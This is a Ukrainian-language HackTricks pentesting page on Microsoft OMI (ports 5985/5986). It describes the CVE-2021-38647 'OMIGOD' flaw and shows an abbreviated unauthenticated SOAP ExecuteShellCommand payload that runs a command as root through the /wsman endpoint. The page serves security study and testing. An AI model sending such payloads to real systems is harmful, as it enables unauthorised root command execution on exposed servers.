hacktricks/src/network-services-pentesting/5985-5986-pentesting-omi.md

44 lines
2.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 5985,5986 - Pentesting OMI
{{#include ../banners/hacktricks-training.md}}
### **Основна інформація**
**OMI** представлений як **[open-source](https://github.com/microsoft/omi)** інструмент від Microsoft, призначений для віддаленого управління конфігурацією. Він особливо актуальний для Linux серверів на Azure, які використовують такі сервіси, як:
- **Azure Automation**
- **Azure Automatic Update**
- **Azure Operations Management Suite**
- **Azure Log Analytics**
- **Azure Configuration Management**
- **Azure Diagnostics**
Процес `omiengine` ініціюється і слухає на всіх інтерфейсах як root, коли ці сервіси активовані.
**За замовчуванням використовувані порти** - **5985** (http) та **5986** (https).
### **[Уразливість CVE-2021-38647](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-38647)**
Як було помічено 16 вересня, Linux сервери, розгорнуті в Azure з вказаними сервісами, вразливі через уразливу версію OMI. Ця уразливість полягає в обробці повідомлень сервером OMI через кінцеву точку `/wsman` без вимоги заголовка аутентифікації, неправильно авторизуючи клієнта.
Зловмисник може скористатися цим, надіславши "ExecuteShellCommand" SOAP навантаження без заголовка аутентифікації, змушуючи сервер виконувати команди з привілеями root.
```xml
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://schemas.xmlsoap.org/ws/2004/08/addressing"
...
<s:Body>
<p:ExecuteShellCommand_INPUT xmlns:p="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/SCX_OperatingSystem">
<p:command>id</p:command>
<p:timeout>0</p:timeout>
</p:ExecuteShellCommand_INPUT>
</s:Body>
</s:Envelope>
```
Для отримання додаткової інформації про цей CVE **[перевірте це](https://github.com/horizon3ai/CVE-2021-38647)**.
## Посилання
- [https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/](https://www.horizon3.ai/omigod-rce-vulnerability-in-multiple-azure-linux-deployments/)
- [https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/](https://blog.wiz.io/omigod-critical-vulnerabilities-in-omi-azure/)
{{#include ../banners/hacktricks-training.md}}